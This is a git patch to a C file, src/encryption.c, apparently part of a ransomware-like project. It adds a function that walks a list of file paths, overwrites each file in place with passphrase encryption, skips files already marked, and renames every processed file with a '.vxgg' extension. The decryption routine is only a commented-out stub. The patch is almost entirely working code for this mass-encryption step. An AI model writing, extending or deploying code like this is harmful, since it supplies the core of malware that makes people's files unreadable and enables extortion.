From 248f88a02aea778c989f9673dffe5ddf7b7f3ee3 Mon Sep 17 00:00:00 2001
From: "@syxhe" <https://t.me/syxhe>
Date: Mon, 2 Sep 2024 22:26:32 -0500
Subject: Make the encrypt function less shitty

---
 src/encryption.c | 70 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 70 insertions(+)

(limited to 'src/encryption.c')

diff --git a/src/encryption.c b/src/encryption.c
index 268b802..8f52e49 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -4,8 +4,13 @@
  * Makes files unreadable, kinda.
 */
 
+#define _GNU_SOURCE
+#define TESTING
+
+#include "ll.h" // Why the fuck did putting this before encryption.h fix my compilation problem
 #include "encryption.h"
 
+
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <stdlib.h>
@@ -17,6 +22,8 @@
 #include <fcntl.h>
 
 #include <stdio.h>
+#include <stdarg.h>
+#include <regex.h>
 
 // Encrypt a file (OVERWRITES FILE!) using a passphrase
 size_t passenc(int fd, const char *passphrase) {
@@ -174,6 +181,69 @@ size_t passencblock(int fd, const char *passphrase) {
     return totalwritten;
 }
 
+int rename_format(const char *fullpath, const char *format, ...) {
+    va_list ap;
+    va_start(ap, format);
+
+    char *newname = NULL; int err = 0;
+    if((err = vasprintf(&newname, format, ap)) < 0) {
+        error(0, 0, "<rename_nodelist> Could not create string for new file");
+        return err;
+    }
+
+    if((err = rename(fullpath, newname)) < 0) {
+        error(0, errno, "<rename_nodelist> Could not rename file \"%s\" to \"%s\"", fullpath, newname);
+        return err;
+    }
+
+    free(newname);
+    va_end(ap);
+
+    return err;
+}
+
+
+
+int encryptvxgg(const struct nodelist *list, const char *passphrase) {
+    int fd = -1;
+
+    regex_t encext;
+    regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);
+
+    // Encrypt everything
+    for(const struct nodelist *p = list; p != NULL; p = p->next) {
+        if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element
+            continue;
+        if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files
+            continue;
+
+        fd = open(p->fullpath, O_RDWR);
+        if(fd < 0) {
+            #ifdef TESTING
+                error(0, errno, "<encryptvxgg> Could not open \"%s\" for encryption", p->fullpath);
+            #endif
+            continue;
+        }
+
+        passencblock(fd, passphrase);
+        close(fd);
+        #ifndef TESTING
+            rename_format(p->fullpath, "%s.vxgg", p->fullpath);
+        #else
+            rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
+        #endif
+
+    }
+
+    return 0;
+}
+
+// int decryptvxgg(const struct nodelist *list, const char *passphrase) {
+    
+    
+//     return 0;
+// }
+
 /*
 int main() {
     int fd = open("test.txt", O_RDWR);
-- 
cgit v1.2.3